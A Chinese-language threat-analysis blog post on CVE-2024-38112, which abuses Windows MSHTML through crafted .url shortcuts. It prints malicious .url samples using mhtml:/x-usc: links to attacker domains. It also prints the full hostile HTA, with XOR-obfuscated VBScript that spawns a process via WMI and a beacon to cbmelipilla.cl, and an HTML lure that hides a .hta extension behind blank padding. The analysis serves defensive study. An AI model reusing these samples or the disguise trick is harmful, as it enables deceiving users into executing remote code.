威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用

2024-07-18 195 0

前言

CVE-2024-38112是一个Windows MSHTML平台的欺骗漏洞,已被攻击者利用超过一年时间。以下是对这个漏洞的详细分析:

  • CVE-2024-38112是一个Windows MSHTML平台的欺骗漏洞,被评为"重要"级别。攻击者可以通过诱使用户打开一个特制的.url文件来利用这个漏洞。这个文件会强制Internet Explorer打开一个攻击者控制的网页,从而获得远程代码执行的能力。
  • Check Point研究人员发现,攻击者从2023年1月开始就一直在利用这个漏洞。他们会制作一个看似无害的PDF文件,实际上是一个恶意的HTA(HTML应用程序)文件,通过欺骗用户绕过系统安全警告来执行恶意代码。
  • 微软已于2024年7月发布了修复这个漏洞的补丁。美国(CISA)也将CVE-2024-38112列入了已知被利用漏洞目录。
  • 总之CVE-2024-38112算是一个严重的漏洞,而且已被广泛利用超过一年时间,在今年的5月份被捕获在野利用。

CVE-2024-38112这个Windows MSHTML平台的欺骗漏洞,根据一些通报称它影响从Windows Server 2008开始的所有Windows操作系统版本。也就是说,它不仅影响Windows 10和Windows 11,还影响更早期的Windows版本,如Windows 8.1、Windows 7等。

Windows MSHTML

这段内容能够让你看大概的一个原理:在复现之前我们也需要知道Windows MSHTML,MSHTML是Windows操作系统中用于渲染和处理HTML内容的核心组件。 它为Windows应用程序提供了一个嵌入式的HTML渲染引擎,使得这些应用程序能够显示和交互网页内容。最初是为了支持Internet Explorer浏览器而开发的。 但即使在Internet Explorer被微软逐步淘汰的今天MSHTML平台仍然存在于Windows操作系统,为各种Windows应用程序提供HTML渲染支持。

之所以MSHTML平台会支持.url文件,是因为这种文件格式在Windows系统中被广泛使用,用于表示Internet快捷方式。 当用户双击打开一个.url文件时,Windows会调用MSHTML平台来解析和打开其中指定的URL链接。这种设计本意是为了方便用户访问网页,但也带来了安全隐患。正如CVE-2024-38112漏洞所展示的,攻击者可以制造恶意的.url文件,诱导用户打开后触发MSHTML平台的安全漏洞。

MSHTML快捷方式接触

下面是一个很正常的.URL文件快捷

威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图

快捷URL也是可以通过详细信息看到指向https://dev.windows.com/

威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图1

威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图2

将这个文件打开后,可以看到URL文件内容,这是最基本的.url文件格式,只单单包含一个URL地址。

[InternetShortcut]
URL=https://code.visualstudio.com/

威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图3
OK,为了更好的接触样本内容的一些运作流程,下面我会将.URL文件的其它属性放在下面,这样就可以知道其中的一些作用。

  • URL=
    这个属性指定了当用户双击打开这个.url文件时,系统应该打开的网页链接
  • WorkingDirectory=
    这个属性指定了打开.url文件时的工作目录。也就是说,当用户打开这个.url文件时,系统会切换到这个指定的目录下进行操作。
  • IconFile=
    这个属性指定了.url文件显示的图标文件路径。可以是系统内置的图标,也可以是自定义的图标文件。
  • HotKey=
    这个属性设置了打开.url文件的快捷键。用户可以通过设置的快捷键快速打开对应的网页。
  • BASEURL=
    这个属性指定了.url文件的基础URL地址。在一些复杂的网页框架中会用到这个属性。
  • ORIGURL=
    这个属性指定了.url文件的原始URL地址。同样用于支持复杂的网页框架。
  • ShowCommand=
    这个属性指定了打开.url文件时的显示方式,比如是最小化还是最大化等。
  • IconIndex=
    这个属性指定了.url文件显示图标的索引号。当IconFile属性指定了包含多个图标的文件时,可以用这个属性选择具体显示哪个图标。
  • ShowCommand=
    这个属性指定了打开.url文件时的显示方式。

样本分析

通过VT沙箱中发现第一次样本提交在2023-01-23首次提交,对于一年期间这里持续的被利用今年1月份有关实验室已经发布过相关案例。
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图4
这里我通过已公开样本进行获取,并且对这个技术手法进行剖析。

样本 - 22e2d84c2a9525e8c6a825fb53f2f30621c5e6c68b1051432b1c5c625ae46f8c

[InternetShortcut]
URL=mhtml:https://urlpropogationintimitacy.blogspot.com/atom.xml!x-usc:https://urlpropogationintimitacy.blogspot.com/atom.xml
IconIndex=325
HotKey=0
IDList=
IconFile=C:\WINDOWS\System32\SHELL32.dll

样本 - 65142c8f490839a60f4907ab8f28dd9db4258e1cfab2d48e89437ef2188a6e94

[InternetShortcut]
IconIndex=325
Hotkey=0
IDL ist=
URL=mhtml:https://urlpropogationintimitacyi.blogspot.com/atom.xml!x-usc:https://urlpropogationintimitacyi.blogspot.com/atom.xml
IconFile=
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9

样本 - b16aee58b7dfaf2a612144e2c993e29dcbd59d8c20e0fd0ab75b76dd9170e104

[InternetShortcut]
IconIndex=325
Hotkey=0
IDL ist=
URL=mhtml:https://office365onlline.blogspot.com/atom.xml!x-usc:https://office365onlline.blogspot.com/atom.xml
IconFile=
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9

样本 - bd710ee53ef3ad872f3f0678117050608a8e073c87045a06a86fb4a7f0e4eff0

[InternetShortcut]
URL=mhtml:https://urlpropogationintimitacy.blogspot.com/atom.xml!x-usc:https://urlpropogationintimitacy.blogspot.com/atom.xml
IconIndex=325
HotKey=0
IDList=
IconFile=C:\WINDOWS\System32\SHELL32.dll

样本 - bfd59ed369057c325e517b22be505f42d60916a47e8bdcbe690210a3087d466d

[InternetShortcut]
IconIndex=325
Hotkey=0
IDL ist=
URL=mhtml:https://mycoderx.blogspot.com/atom.xml!x-usc:https://mycoderx.blogspot.com/atom.xml
IconFile=
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9

样本 - c9f58d96ec809a75679ec3c7a61eaaf3adbbeb6613d667257517bdc41ecca9ae

[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,0
[InternetShortcut]
IDList=
URL=mhtml:http://cbmelipilla.cl/te/test1.html!x-usc:http://cbmelipilla.cl/te/test1.html
HotKey=0
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

在上面的样本.URL文件内容中看见最古怪的指令就是x-usc:x-usc指令用于在URL中引用额外的内容,当浏览器遇到带有x-usc指令的URL时,它会先加载x-usc指令后面的URL,然后再加载原始的URL,这种机制可以用于绕过一些安全限制,比如同源策略等。所以我们上面的样本代码中全部都看到有相关使用的指令!例如:

URL=mhtml:http://cbmelipilla.cl/te/test1.html!x-usc:http://cbmelipilla.cl/te/test2.html

这里会先加载http://cbmelipilla.cl/te/test1.html,然后再加载http://cbmelipilla.cl/te/test2.html。并且还使用mhtml协议,很可能是用于逃避检测的一个用法。这里我将样本这个样本进行进一步分析 - c9f58d96ec809a75679ec3c7a61eaaf3adbbeb6613d667257517bdc41ecca9ae,我将样本改为.URL后缀IOC直接变成了PDF格式。这里起到了一个很好的文件伪装并且在快捷目标信息也可以看到指定地址。

威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图5
这里我就很疑惑了,C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe和PDF有个什么关联?目前这种在我这里定义为双重扩展后缀(例如:.pdf.url)使文件看起来像是一个合法的PDF文件,但实际是一个快捷方式或其他类型的文件。
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图6
扔进WIN11的测试机,看运行流程,随后指向http://cbmelipilla.cl/te/test1.html
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图7
我们这里对http://cbmelipilla.cl/te/test1.html进行一个简单浏览器安全机制的考验。
谷歌浏览器:

威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图8
火狐浏览器:
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图9
Microsoft Edge 浏览器:
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图10
在上面我们可以看到各各浏览器都有自己的优点和缺点,虽然是通过访问的形式,但是PDF.HTA文件是可直接落地的,这个我们暂时不讨论这个论点,我们继续在谷歌浏览器访问看到窗口内容!窗口内置了一个HTA的程序

威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图11

<hta:application
             
            Version="0.2.7.2"
            ApplicationName="WelsonJS"
            Border="None"
            BorderStyle="Static"
            InnerBorder="No"
            Caption="No"
            Icon="app/favicon.ico"
            ContextMenu="No"
            MaximizeButton="No"
            MinimizeButton="No"
            Navigable="No"
            Scroll="No"
            ScrollFlat="Yes"
            Selection="No"
            ShowInTaskbar="Yes"
            SingleInstance="Yes"
            SysMenu="Yes"
            WindowState="minimize"
            Selection="No"
            />
          <script language="VBScript">
Dim age34
For enough7 = 1 To Len("tksavwlahh$mvi$lpptw>++lkwpehewoetepeckjme*gki+pp+fagkia*p|p$x$ma|")
        age34 = age34 & Chr(Asc(Mid("tksavwlahh$mvi$lpptw>++lkwpehewoetepeckjme*gki+pp+fagkia*p|p$x$ma|", enough7, 1)) Xor 4)
Next

        Dim master68
For master681 = 1 To Len("smjicipw>XX*XvkkpXgmir6")
        master68 = master68 & Chr(Asc(Mid("smjicipw>XX*XvkkpXgmir6", master681, 1)) Xor 4)
Next

 Dim ancient26
For ancient261 = 1 To Len("Smj76[Tvkgaww")
        ancient26 = ancient26 & Chr(Asc(Mid("Smj76[Tvkgaww", ancient261, 1)) Xor 4)
Next

            Set must41 =        GetObject(master68)
            Set wire57 = must41.Get(ancient26)

            intReturn = wire57.Create(age34, Null, Null, intProcessID)
</script>

<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://cbmelipilla.cl/te/hhhh2.php', true);
xhr.onload = function() {

};
xhr.send();
</script>
        <title>Welcome to WelsonJS application</title>
fdsfdsfasdf1232

在VBScript 部分需要进行XOR解码,每个字符与数字4进行异或运算,来恢复原始字符串的内容中:

Set must41 = GetObject("winmgmts:\\.\root\cimv2")  #获取相关系统信息
Set wire57 = must41.Get("Win32_Process")  #WMI 类表示操作系统上的进程
intReturn = wire57.Create("pgowtrhdld!irqe!hnnps:))hgsrkbalsalatiahgh)iog'mm'hcegie'm|m$t$is|", Null, Null, intProcessID) #这个疑似命令的内容

在完整的代码片段中最后一段是用于通信:
XMLHttpRequest 对象用于在后台与服务器交换数据。它可以在不重新加载整个网页的情况下更新网页的某部分内容。

var xhr = new XMLHttpRequest();

初始化请求xhr.open方法初始化一个请求。GETHTTP请求方法。表示从服务器请求数据。https://cbmelipilla.cl/te/hhhh2.php请求的URL。表示请求将发送到这个地址。

xhr.open('GET', 'https://cbmelipilla.cl/te/hhhh2.php', true);

用这个xhr.onload定义请求完成时要执行的函数。目前这个函数是空的,没有任何操作。

xhr.onload = function() {

};

最后就发送

xhr.send();

HTA的内容就这么多,OK,我们直接下一步,查看HTML代码
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图12

<html lang="en">
  <head>
      <script>
window.open('', '_self', '');
window.resizeTo(1, 1);
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://cbmelipilla.cl/te/hhhh.php', true);
xhr.onload = function() {

};
xhr.send();
setTimeout(function() {
    window.close();
}, 5000000);
</script>
     <iframe src="https://cbmelipilla.cl/te/Books_A0UJKO.pdf%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80%E2%A0%80.hta"     title="GG"></iframe> 
   </head>
  </body>
</html>

在HTML代码中发现,攻击者似乎想通过隐藏窗口来规避一些工作,运行之后打开一个新窗口并将其大小调整为1x1像素

window.open('', '_self', '');
window.resizeTo(1, 1);

然后就是延迟窗口,5000000毫秒(大约83分钟)后关闭窗口。这个延迟有点长

setTimeout(function() {
    window.close();
}, 5000000);

可以看到打开.URL文件后使用IE浏览器打开,打开窗口自动缩小,然后一个名为:Books_A0UJKO.pdf⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.hta文件
在警告窗口中可以看到是PDF文件。通过空字符将hta不在警告窗出现。
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图13
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图14
落地的Books_A0UJKO.pdf⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.hta文件内容就是上面我们使用XOR解码的内容!
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图15
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图16

Books_A0UJKO.pdf⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.hta运行结果,欣赏欣赏吧!
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图17

威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图18

威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图19
威胁探索 | CVE-2024-38112在野快捷有效的一个0day威胁利用插图20

结束语

CVE-2024-38112的深入分析揭示了Windows MSHTML平台存在的严重安全隐患。通过诱使用户打开特制的.url文件,攻击者能够绕过系统安全警告,执行恶意代码,来控制系统。Check Point研究人员的发现显示,这一漏洞自2023年1月起便被广泛利用,直到微软于2024年7月发布补丁才得以修复。

本文详细探讨了MSHTML平台的工作原理及其在处理.url文件时的安全漏洞,揭示了攻击者如何通过巧妙伪装文件扩展名及利用mhtml协议绕过浏览器和系统的安全机制。分析还展示了恶意HTA文件的具体运行流程及其潜在危害。

这一案例再度提醒我们,定期更新系统和应用程序、提升用户安全意识、以及采用多层次的安全防护措施,都是有效抵御网络攻击的关键。只有不断加强网络安全建设,我们才能在面对复杂多变的网络威胁时,保护我们的信息和系统安全。希望通过对CVE-2024-38112的深入分析,能够为读者提供有价值的参考和防护建议,进一步提高网络安全防护水平。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析
靶场战神为何会陨落?

发布评论